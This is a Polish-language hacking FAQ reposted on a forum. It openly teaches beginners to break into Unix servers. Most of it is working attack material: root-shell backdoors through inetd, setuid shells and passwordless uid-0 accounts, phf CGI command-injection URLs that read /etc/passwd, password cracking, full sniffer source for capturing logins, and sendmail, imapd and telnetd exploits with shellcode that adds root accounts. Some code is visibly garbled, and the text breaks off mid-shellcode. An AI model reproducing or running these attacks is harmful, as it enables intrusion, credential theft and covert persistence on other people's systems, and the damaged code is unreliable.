FAQ by pol and under

Karrde

Użytkownik
Dołączył
Marzec 29, 2004
Posty
31
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% %
% Wszystkie informacje zawarte %
% w tym FAQ sa nielegalne i %
% wykorzystujesz je na wlasne %
% ryzyko. NIE PONOSIMY %
% RZADNEJ ODPOWIEDZIALNOSCI %
% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


################################################################################
#
# WSZYSTKIE TEXTY PRZESYLAJ SPAKOWANE CZYMKOLWIEK, #
# NAJLEPIEJ ZIPEM ZAPOBIEGNIE TO UTRACIE DANYCH. #
################################################################################
#


I. HACK
1.1 Wstep : Pol
1.2 Co to hack? : Pol + Under
II. UNIX
2.1 Co to jest ? : Under
2.2 Podstawowe komendy : Under
2.3 Telekomuna via Linuch : Under
III. HASLA
3.1 Troche o passwd : Under
3.2 Lamanie hasel : Under
3.3 Zdobywanie plikow : Under
IV. BACKDOORS
4.1 Co to jest backdoor : Under
4.2 Jak zalozyc backdoora : Under
4.3 Najprostszy backdoor : Under
4.4 User z uid 0 : Under
4.5 Superuser bez uid 0 : Under + Pol
V. SNIFFERY
5.1 Co to jest? : Under
VI. SENDMAIL
6.1 Wysylanie fakemaila : Under
6.2 Sendmail 8.6.12 : Under
6.3 Sendmail 8.8.2 : Under
6.4 Sendmail 8.8.5 : Under
6.5 Sendmail 8.7-8.8.2 : Under
6.6 Sendmail Scanner : Under
VII. Exploity
7.1 imapd remote overflow : Under
7.2 in.telnetd tgetent buffer overflow : Under
7.3 rpc.ttdbserver remote overflow : Under
7.4 Sendmail/Qmail DoS : Under
7.5 Netscape Buffer Overflow : Under
VIII. SU
8.1 Doczego sluzy? : Pol
8.2 Jak dostac sie na root-a : Pol
8.3 Plik /etc/suauth : Pol
IX. JAK HACZYC
9.1 Klopoty : Under
9.2 Killlog : Under
9.3 Logow ciag dalszy : Under
9.4 DoS : Under
9.5 Blokada konta : Under + Pol
X. LINKI
10.1 Troche linkow do stron zwiazany z hackiem: Under
XI. KONIEC
11.1 Slowo koncowe : Pol + Under

####################################################



I. HACK


1.1 Wstep : Pol

To FAQ zostalo napisane tylko i wylacznie zeby szerzyc swiatlo
wiedzy wsrod wszystkich ktorzy jej pragna
<

Wszystko robisz na wlasna odpowiedzialnosc i jak cie zlapia to
ty pojdziesz siedziec, a nie my.
Texty zostaly napisane przez nas samych w oparciu o wlasne
doswiadczenia i inne FAQ. Jezeli po kims cos zerznelismy
to sorry ale tak sie zdarzylo, napisz to to zmienimy.
Kody zrodlowe zostaly napisane w wiekszosci przez innych i
sa publikowane w niezmienionej formie wraz z ksywkami autorow
(jezeli wiadowmo kto byl autorem).
ps. FAQ przeznaczone jest dla poczatkujacych i sredniozaawansowanych
ludzi.

1.2 Szczegoly techniczne : Pol

Jezeli przedstawiamy jakas komede to bedzie ona poprzedzona
zankiem $ lub #. $ oznacza ze komende mozna wydac z dowlnego
konta, # natomiast ze potrzebne jest konto z uprawnieniami
root-a.
Wszystkie kody zrodlowe zaczynaja sie i koncza w ten sposob:
---CUT HERE---
...
kod zrodlowy
...
---CUT HERE---
Nalezy wyciac text powyzej i ponizej ---CUT HRER---(gdyby ktos nie wiedzial:)


1.3 Co to hack? : Pol + Under

JEST TO WYJASNIENIE DLA KOMPLETNYCH LAMEROW!!!

Mianem hackera, czyli kogos kto hackuje okresla sie kogos kto
wlamuje sie (takie brzydkie slowo, lepiej: uzyskuje dostep - nie legalny
oczywiscie:))) do systemow komputerowych. Hack narodzil sie wraz z powstaiem
BBS-ow w stanach. Z postaniem Internetu rozszerzyl sie na caly
swiat. Dzisaj praktycznie w kazdym kraju jest jakas grupka hackerow
(oczywiscie nie mowimy tu o jakies zapadlej wiosce w afryce:)).
W wielu krajach jest to przestepstwo ale chyba zaden hacker tak nie uwaza.
Kieruje nami zywkla ciekawosc, chec pokazania sie czy co tam jeszcze.
Wiekszosc wlaman konczy sie listem to root-a z informacja o dziuze w systemie
lub cichem zatarciu sladow. Lamerstwem jest niszczenie calego systemu
plikow czy takie namieszanie ze server stoi odlaczony przez kilka dni.
Jezeli kogos naprawde nielubimy a wrecz nie nawidzimy to odbiedy mozna
zmienic strone czy po zrobieniu backup-u /etc usunac wszystkie pliki z tego
katalogu. Tak robia tylko chakerzy lub chamy.
Jednak niektorzy uznaja za hackerow po prostu pasjonatow komputerow, ktorzy
godzinami siedziec studiujac zrodla kernela. Jednak my tak NIE UWAZAMY.


II. UNIX

2.1 Co to jest ? : Under

A wiec UNIX to taki (auto cenzura) system, duuuzo lepszy
od Shita 9x. Jezeli chcesz zostac hackerem to najpierw
naucz sie obslugi tego systemu. Jezeli masz pc, to
raczej UNIX-a sobie nie zainstalujesz ;-)
Na pc pozostaje tylko LINUX, ktory od UNIX-a rozni sie
praktycznie platforma na ktorej dziala. Obecnie
najpopularniejsza dystrybucja Linuxa jest Redhat, ale
osobiscie uwazam, ze jest on systemem dla idiotow!
Ja sam korzystam ze Slackware. Oprocz tych dwoch
jest jeszcze Debian, ktory jest najbardziej rozbudowany,
ale i najbardziej zasrany. Cholernie ciezko sie go
instaluje i ogolnie uwazam, ze jest do dupy.
Poza tymi sa jeszcze Linux Pro, LinuxWare i Caldera Open,
ale o nich nic nie napisze bo nie mialem z nimi stycznosci.
To tyle o samym systemie, wybor pozostawiam wam :)


2.2 Podstawowe komendy : Under

cd - zmienia aktualny katalog
ls,dir - wyswietla zawartosc katalogu
cp - kopiuje plik
rm - kasuje plik
mkdir - zaklada katalog
rmdir - usuwa katalog
du - wyswietla ilosc zajetego miejsca
pwd - wyswietla aktualny katalog
mv - przenosi plik
ln - wiaze pliki
cat - wyswietla zawartosc pliku
adduser - dodaje uzytkownika
userdel - kasuje uzytkownika
finger - wyswietla dane uzytkownika
chfn - zmienia dane o uzytkowniku
chsh - zmienia shell (w passwd)
chown - zmienia wlasciciela pliku lub katalogu
chmod - zmienia atrybuty pliku lub katalogu
atrybuty:
x - uruchamianie
r - odczyt
w - zapis
s - program oruchamia sie z takim uid-em jaki mial user
ktory nadal ten atrybut
passwd - zmienia haslo
chage - zmienia date ostatniej zmainy hasla, waznosci konta
mc - odpala imitacje Nortona
startx - uruchamia winde
pico - edytor tekstu
pine - program pocztowy
telnet - uruchamia telnet
irc - klient irc-a
su - zmienia uzytkownika
logout - wylogowuje


2.3 Telekomuna via Linuch : Under

Jest to najprostszy sposob do polaczenia sie z Netem
z pod Linuxa. Najpierw uruchom minicoma
# minicom
Tam wpisz
dla dzwoniwnia tonowego - ATDT0202122
pulsacujnego - ATDP0202122

Potem nacisnij CTRL a , potem q i odpowiedz YES.
Potem z shella
# pppd /dev/modem 57600 (oczywiscie prodkosc moze byc inna
smile.gif

jak skonczysz zabawe i chcesz sie rozlaczyc to jeszcze
# killall -9 pppd

I to wszystko
ps. Baw sie bezpiecznie



III. HASLA


3.1 Troche o passwd : Under

Jest to plik w ktorym sa zapisane informacje o uzytkowniku.
Moga sie tam takze znajdowac hasla, ale raczej w to watpie.
W wiekszosci systemow hasla znajduja sie w pliku shadow
(pliki znajduja sie w katalogu /etc ). (dla lam. jezeli w
passwd w miejscu hasel znajduje sie x tzn. ze hasla sa w
shadow). Jezeli masz konto na danym serwerze napisz:
cat /etc/passwd. W innych systemach pliki moga byc w innych miejscach

---Zywcem zerzniete z 2600 FAQ---

AIX 3 /etc/security/passwd
or /tcb/auth/files/<pierwsza litera username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd
ConvexOS 10 /etc/shadpw
ConvexOS 11 /etc/shadow
DG/UX /etc/tcb/aa/user/
HP/IX /etc/shadow
HP-UX /.secure/etc/passwd
IRIX 5 /etc/shadow
Linux 1.1 /etc/shadow
OSF/1 /etc/passwd[.dir|.pag]
SCO Unix #.2.x /tcb/auth/files/<pierwsza litera username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag]
UNICOS /etc/udb

---Koniec rzniecia---

Jezeli nie masz konta na serwerze z ktorego chcesz miec pliki
to przeczytaj punkt 3 paragrafu II.


3.2 Lamanie hasel : Under

Do lamania hasel sluza programy taki jak John the ripper,
Killer Crack i Craker Jack. Wszystkie te programy sa pod
DOS-a. Chyba sa tez jakies programy pod Linuxa ale jesli
nawet to i tak ich nie testowalem. Ja korzystam z Johna
1.4, ale wybor zostawiam tobie. Ponizej opisalem obsluge
Johna. Na poczatek przyda sie slownik (mozna go znalezc
na wielu stronach). John ma kilka opcji lamania hasel:

1. $john -single -pwfile:shadow
Jest to najprostsza metoda, dziala szybko i bez slownika,
ale i szanse, ze uda sie zlamac jakies haslo sa marne.

2. $john -rules -pwfile:shadow -wordfile:slownik.txt
Ta metoda trwa duuuzo dluzej ale szanse powodzenia gruntownie
wzrastaja.

Powodzenie zalezy jescze od slownika i inteligencji userow.
Jezeli koles ma haslo kosiarka, to nie bedziecie miec problemow
z jego zlamaniem, ale jezeli np. M4Fh7Jp to raczej nie uda sie
go zlamac ;-)


3.3 Zdobywanie plikow : Under

Na zdobycie plikow istnieje 999 sposobow. Jednak Linux to
nie Shit, i nowe wersje juz bez starych bledow ukazuja sie
okolo co pol roku, a nie co 3 lata jak Shit z Microsyfa.
Jednak moze to i dobrze bo gdyby krolowal np RedHat 1.0 to
bylo by nudno ;-)


3.3.1 Bugi w WWW : Under

Jak napisalem wyzej bledy sa eliminowane i w momencie gdy
czytasz to FAQ niektorych moze juz nie byc. Ale mowi sie
trudno, trzeba troche cierpliwosci (jezel jej nie masz to
lepiej w ogole dal sobie spokoj).

Pierwszy sposob:
http://www.cel.com/cgi-bin/phf?Qalias=x%0a...t%20/etc/passwd

Drugi sposob (troche dluzszy ale wieksz szanse ze zadziala):
http://thegnome.com/cgi-bin/phf?%0aid&...il=&Qnickna
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-l...ias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/e...someuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7...lias=&Qname
=haqr&Qemail=&Qnickname=&Qoffice_phone=

Trzeci sposob:
http://www.cel.com/cgi-bin/php.cgi?/etc/passwd
(dla lam. zamiast /etc/passwd mozezs wstawic dowolny plik, np.
/var/spoll/mail/root :) )

Czwarty sposob:
http://www.cel.com/~root/etc/passwd

Istnieja takze programy ktore znajduja dziury za nas. Taki program to np.
phpscan.



IV. BACKDOORS


4.1 Co to jest backdoor? : Under

Jezeli juz udalo Ci sie wlamac na serwer, to raczej bedziesz chcial
utrzymac na nim status root-a. W takim razie po co jeszcze raz odpalac
te same programy lub wykorzystywac te same dziury. Wlasnie wtedy
wykorzystuje sie tylne drzwi.


4.2 Jak zalozyc backdoora? : Under

Jednym z najprostszych sposobow jest zalozenie backdoora w telnecie.
Robisz tak:

# pico /etc/services
tam dopisz linijke:
suspend 639/tcp
# pico /etc/inetd.conf
dopisz:
suspend stream tcp nowait root /bin/sh sh -i
# killall -HUP inetd

Teraz sprawdz czy dziala:
# telnet host suspend lub
# telnet host 639

Trying 127.0.0.1...
Connected to host.lamers.org
Escape character is '^]'.
bash# whoami
root
bash#


4.3 Najprostszy backdoor : Under

Skopiuj shell-a do jakiegos zapadlego katalogu i wpisz:
# chmod +s plik
To wszystko. Jednak jest jeden maly problem, musisz miec konto i dostep do katalogu
smile.gif


4.4 User z uid 0 : Under

Najprostszy sposob to dopisac od passwd linijke:
user::0:0::/:/bin/bash
np. komeda:
#echo "user::0:0::/:/bin/bash" >> /etc/passwd
Nawet jesli hasla sa w /etc/shadow to ty bedziesz mogl logowac sie bez hasla

4.5 Superuser bez uid 0 : Under + Pol

Jezeli uzyjesz powyzszego sposobu, jestes narazony ze admin szybko sie pokapuje,
ze jest za duzo root-ow. Wystarczy, ze wpisz grep 0:0 /etc/passwd
Mozesz wykozystac wiec inny sposob. Skopiuj bash-a do pliku o innej nazwie, jednak
najlepijej aby konczyla sie na sh . Wtedy zamiast bash-a wstawiasz ten plik, np.

#cp /bin/bash /bin/kfsh
#chmod +s /bin/kfsh
#chsh
/bin/kfsh

Po zalogowaniu otrzymasz wiekszosc uprawnien root-a, niestety nie wszystkie. Programy
sprawdzajace UID beda cie nadal traktowaly jak zwyklegu usera:(


V. SNIFFERY

5.1 Co to jest? : Under

Sniffer to taki sprytny program ktory potrafi wyciagac z kabla
informacje idace do innych kompow. Wyobrazcie sobie, ze siedzicie
sobie przed komputerem z odpalonym snifferem a na konsoli loguje
sie root :) Ahhhh. Ponizej zamieszczam zrodlo Linsniffa.

---CUT HERE---
/*
LinSniffer 0.03 [BETA]
Mike Edulla
[email protected]
*/


#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>


int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;

struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;

struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"

int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}

int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}

int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "n----- [CAPLEN Exceeded]n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(polish) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "n----- [Timed Out]n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(polish);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "n----- [RST]n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "n----- [FIN]n");
clear_victim();
return 0;
}
return 1;
}


int print_header(void)
{
fprintf(fp, "n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
int i=0;
int t=0;

victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data == 13) { fprintf(fp, "n"); t=0; }
if(isprint(data)) {fprintf(fp, "%c", data);t++;}
if(t > 75) {t=0;fprintf(fp, "n");}
}
}


main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == polish) { fprintf(stderr, "cant open logn");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeofep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}

char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;

i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == polish) strcpy(blah, inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}

void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}

void cleanup(int sig)
{
fprintf(fp, "Exiting...n");
close(s);
fclose(fp);
exit(0);
}
---CUT HERE---



VI. SENDMAIL

6.1 Wysylanie fakemaila : Under

Telnetuj sie na 25 port serwera i pisz:
$telnet server 25
helo domena
mail from:eek:soba@domena (zekomo :) )
rcpt to:eek:[email protected]
data
tu jakies smieci tzn. tresc listu
. (tak to kropka)
No i koniec. Serwer powinien pisac OK po kazdej komedzie.
Nowe sendmaile sa troche madrzejsze od starych i niezawsze da sie wyslac faka. Ale sa
tez servery ze starymi sendmailami np.
un04.zarz.gsw.pl (8.7.5/8.7.3)
libra.pb.bialystok.pl (5.65)
<

Ten sposob nie jest zupelnie anonimowy. Jezeli ktos chociaz troche zna sie na UNIX-sie
to sprawdzi kto wyslal list grzebiac w pliku przechowywujacym poczte. Dlatego robcie
to z Telekomuny wtedy zobaczy np. ppp-182.warszawa.tpnet.pl
smile.gif


6.2 Sendmail 8.6.12 : Under

Ponizej znajduje sie program, ktory pozwala uzyskac root-a.
Nalezy go uruchomic, a potem wpisac /tmp/sh

---CUT HERE---
#include <stdio.h>

main() {
void make_files();
make_files();
system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail");
}

void make_files() {
int i,j;
FILE *f;
char nop_string[200];
char code_string[]= {
"xebx50" "x5d" "x55" "xffx8dxc3xffxffxff"
"xffx8dxd7xffxffxff" "xc3" "cp /bin/sh /tmp" "x3c"
"chmod a=rsx /tmp/sh" "x01" "-leshka-leshka-leshka-leshka-"
"xc7xc4x70xcfxbfxef" "xe8xa5xffxffxff"
"x81xc5xb4xffxffxff" "x55" "x55" "x68xd0x77x04x08"
"xc3" "-leshka-leshka-leshka-leshka-" "xa0xcfxbfxef"
};
j=269-sizeof(code_string);
for(i=0;i<j;nop_string[i++]='x90');
nop_string[j]='0';
f=fopen("user.inf","w");
fprintf(f,"#Changing user database information for leshkan");
fprintf(f,"Shell: /usr/local/bin/bashn");
fprintf(f,"Location: n");
fprintf(f,"Office Phone: n");
fprintf(f,"Home Phone: n");
fprintf(f,"Full Name: %s%sn",nop_string,code_string);
fclose(f);
f=fopen("hack","w");
fprintf(f,"cat user.inf>"$1"n");
fprintf(f,"touch -t 2510711313 "$1"n");
fclose(f);
}
---CUT HERE---


6.3 Sendmail 8.8.2 : Under

Ponizej znajduje sie skrypt. Po odpaleniu komenda /tmp/sh
da nam root-a.

---CUT HERE---
#/bin/sh
echo 'main(){execl("/usr/sbin/sendmail","/tmp/smtpd",0);}'>p1.c
echo 'main(){setuid(0);setgid(0);'>p2.c
echo 'system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");}'>>p2.c
cc -o p1 p1.c
cc -o /tmp/smtpd p2.c
./p1
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "n"|head -n 1`
rm p1.c p1 p2.c /tmp/smtpd
---CUT HERE---

6.4 Sendmail 8.7-8.8.2

Oto exploit ktory lokalnie da roota, na systemach zaopatrzonych w sendmaila 8.7 do 8.8.2. Dostaniemy shella w /tmp/sh

---CUT HERE---
#/bin/sh
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
#
#
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd

---CUT HERE---

6.5 Sendmail 8.8.5 : Under

Oto zrodlo exploita na sendmaila 8.8.5. Po jego odpaleniu zaloguj sie jako
r00t albo n0tr00t. Pamietaj telko aby pozmieniac co potrzeba w passwd, bo
zmiany wprowadzone przez program sa latwe do wykrycia
smile.gif



---CUT HERE---
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

#define NOP 0x90

/* DO NOT CHANGE - SIZE COMPUTED */
char shellcode[] =
"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f"
"xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd"
"x80x33xc0x40xcdx80xe8xd7xffxffxff";

/* DO NOT CHANGE - SIZE COMPUTED */
char commands[] =
"/bin/echo "n0tr00t::1000:1000:n0tr00t:/:/bin/bash" >> /etc/passwdn"
"/bin/echo "r00t::0:0:r00t:/:/bin/bash" >> /etc/passwdn";


int main
(
int argc,
char **argv
)
{

int i;
int sock;
char *ptr;
char *clear;
char buf[8192];
struct sockaddr_in sin;
struct hostent *hp;

if(argc<2)
{
printf("Read commentsn");
exit(-1);
}
ptr = buf;
for(i=0;i<=4096;i++) buf = NOP;
ptr += i;
memcpy(ptr,shellcode,sizeof(shellcode));
ptr += sizeof(shellcode);
clear = commands;
memcpy(ptr,clear,sizeof(commands));
ptr += sizeof(commands);
memcpy(ptr,"3824",4);
/* **system(clear);** -------- LINE BROKEN BY ROOTSHELL */
printf("connecting to %sn",argv[1]);
hp = gethostbyname(argv[1]);
if(hp==polish)
{
printf("Nieznany hostn");
exit(-1);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(25);
"/bin/echo "heh | mail [email protected]";
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock,(struct sockaddr *) &sin, sizeof(sin));
send(sock,buf,sizeof(buf),0);
close(sock);
printf("Teraz zaloguj sie na r00t or n0tr00tn");
return(0);
}
---CUT HERE---


6.6 Sendmail Scanner : Under

Sendmail Scanner to program lcatufa-a przeszukujacy spore ilosci
serwerow. Ponizej znajduje sie kod zrodlowy.

---CUT HERE---
// Sendmail-SCANNER 1.0b
// Š lcamtuf '97
// E-mail: [email protected]

#include <stdio.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>

#define TIMEOUT 5

FILE *server;
int sock,to;

void timeout(int signo) { to=1; };

void sm(char *host) {
char inbuf[1024];
struct sockaddr_in sin;
struct hostent *hp;
int x;
hp=gethostbyname(host);
if (h_errno!=0) {
printf("Nie moge namierzyc %s, pomijam...n",host);
return;
}
bcopy(hp->h_addr,(char *) &sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(25);
sock=socket(AF_INET,SOCK_STREAM,0);
if (-1<connect(sock,(struct sockaddr *) &sin,sizeof(sin)))
printf("Polaczenie z %s: ", host);
else {
printf("Nie moge polaczyc sie z %s, pomijam...n",host);
return;
}
server=fdopen(sock,"a+");
while(1) {
signal(SIGALRM,timeout);
to=0;
alarm(TIMEOUT);
x=recv(sock,inbuf,1024,0);
alarm(0);
if (x==-1) {
printf("(polaczenie przerwane)n");
break;
}
if (to) {
printf("(przekroczony czas oczekiwania)n");
break;
}
if (strlen(inbuf)!=0) {
for (x=3;x<strlen(inbuf);x++)
if (inbuf[x]==';') inbuf[x]=0; else
if ((inbuf[x]==',')&&(inbuf[x-3]==' ')) inbuf[x-3]=0;
printf("%sn",inbuf);
break;
}
}
close(sock);
}

void main(int argc,char *argv[]) {
FILE* f;
char srv[1024];
int ile=0,a;
printf("Sendmail-SCANNER 1.0b -- Š lcamtuf '97nn");
if (argc!=2) {
printf(" Ten program sprawdza wersje sendmaila na serwerach podanych");
printf(" w pliku.n Liste serwerow mozna utworzyc za pomoca programu");
printf(" HTML2SRV.n");
printf(" Sposob uzycia: SMSCAN plik_z_lista_serwerown");
exit(1);
}
f=fopen(argv[1],"r");
if (f==polish) {
printf("Nie moge otworzyc podanego pliku.n");
exit(1);
}
while (fgets(srv,1024,f)) {
for (a=0;a<=strlen(srv);a++)
if ((srv[a]=='n')||(srv[a]=='r')) srv[a]=0;
if (strlen(srv)!=0) {
sm(srv);
ile++;
}
}
fclose(f);
printf("nKoniec pracy. Sprawdzilem %d serwerow.n",ile);
}
---CUT HERE---


VII. Exploity


7.1 imapd remote overflow : Under

Ponizszy exploit dodaje do pliku passwd linijke root::0:0:::
wykozystujac bardzo popularna dziure w deamonie imap-a
Dziala takze zdalnie
smile.gif



---CUT HERE---
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>

char *h_to_ip(char *hostname);

char *h_to_ip(char *hostname) {

struct hostent *h;
struct sockaddr_in tmp;
struct in_addr in;

h = gethostbyname(hostname);

if (h==polish) { perror("Resolving the host. n"); exit(-1); }

memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
memcpy(&in,&tmp.sin_addr.s_addr,4);

return(inet_ntoa(in));
}

void banner(void) {
system("clear");
printf("nIMAP Exploit for Linux.n");
printf("ntAuthor: Akylonius ([email protected])n");
printf(" Modifications: p1 ([email protected])n");
}

main(int argc, char **argv) {

int fd;
struct sockaddr_in sckdaddr;
char *hostname;
char buf[4092];
int i=8;
char realegg[] =
"xebx58x5e"
"x31xdbx83xc3x08x83xc3x02x88x5ex26"
"x31xdbx83xc3x23x83xc3x23x88x5exa8"
"x31xdbx83xc3x26x83xc3x30x88x5exc2"
"x31xc0x88x46x0bx89xf3x83xc0x05x31"
"xc9x83xc1x01x31xd2xcdx80x89xc3x31"
"xc0x83xc0x04x31xd2x88x56x27x89xf1"
"x83xc1x0cx83xc2x1bxcdx80x31xc0x83"
"xc0x06xcdx80x31xc0x83xc0x01xcdx80"
"iamaselfmodifyingmonsteryeahiamxe8x83xffxffxff"
"/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';

banner();

if (argc<2) {
printf("nUsage: %s <hostname>nn", argv[0]);
exit(-1);
}

hostname=argv[1];

while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
buf[i++]=0x90;

while(*point)
buf[i++]=*(point++);

buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;

buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='n';

buf[i++]=0x0;


if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. n");

sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));

if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
perror("Error with connecting. n");

printf("hmm: n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: n");
close(fd);
}
---CUT HERE---


7.2 in.telnetd tgetent buffer overflow : Under

Exploit wykozysktuje dziute w deamonie telnetu i pozwala zdalnie zdobyc roota
na systemach BSD 2.1 i Linux (brak danych o narazonych wersjach)
Uzycie:
Najpierw przegraj to za pomoca FTP na atakowany host, a potem
telnet> env def TERM access
telnet> env def TERMCAP /path/and/name/of/uploaded/file
telnet> open victim.host.com

---CUT HERE---


#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define filename "./termcap"
#define entry "access|Gimme r00t:n :"
#define bufsize 1300
#define default_offset 870 /* Should work...*/

char shellcode[] =
"xebx35x5ex59x33xc0x89x46xf5x83xc8x07x66x89x46xf9"
"x8dx1ex89x5ex0bx33xd2x52x89x56x07x89x56x0fx8dx46"
"x0bx50x8dx06x50xb8x7bx56x34x12x35x40x56x34x12x51"
